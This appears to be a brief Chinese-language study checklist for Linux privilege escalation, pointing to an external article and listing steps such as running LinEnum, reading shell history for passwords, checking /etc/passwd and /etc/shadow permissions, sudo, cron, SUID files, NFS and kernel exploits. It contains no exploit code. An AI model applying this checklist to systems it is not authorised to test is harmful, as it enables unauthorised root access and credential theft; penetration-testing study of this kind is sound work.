权限提升资料:https://0xsanz.medium.com/70-ways-to-get-root-linux-privilege-escalation-d98ec78f1405
总结
前期:
- 进行简单信息收集(id, whoami);
- 运行Linux Smart Enumeration等提权检测脚本;
- 运行LinEnum和其他脚本-----枚举系统信息。
使用" ls -la "快速查找home中的文件、目录和其他公共位置(例如/var,/backup,/var/logs以及根目录/);
注意:如果用户有一个历史文件,它可能有重要的信息,比如命令或者密码;
查看以root权限运行的服务有无漏洞,如:MySQL数据库UDF提权;
查看/etc/passwd文件和/etc/shadow文件的权限分配情况-----普通用户是否能够进行读写操作;
查看Sudo,Cron jobs,SUID/SGID文件;
查看NFS配置是否存在错误;
最后考虑内核漏洞exp提权。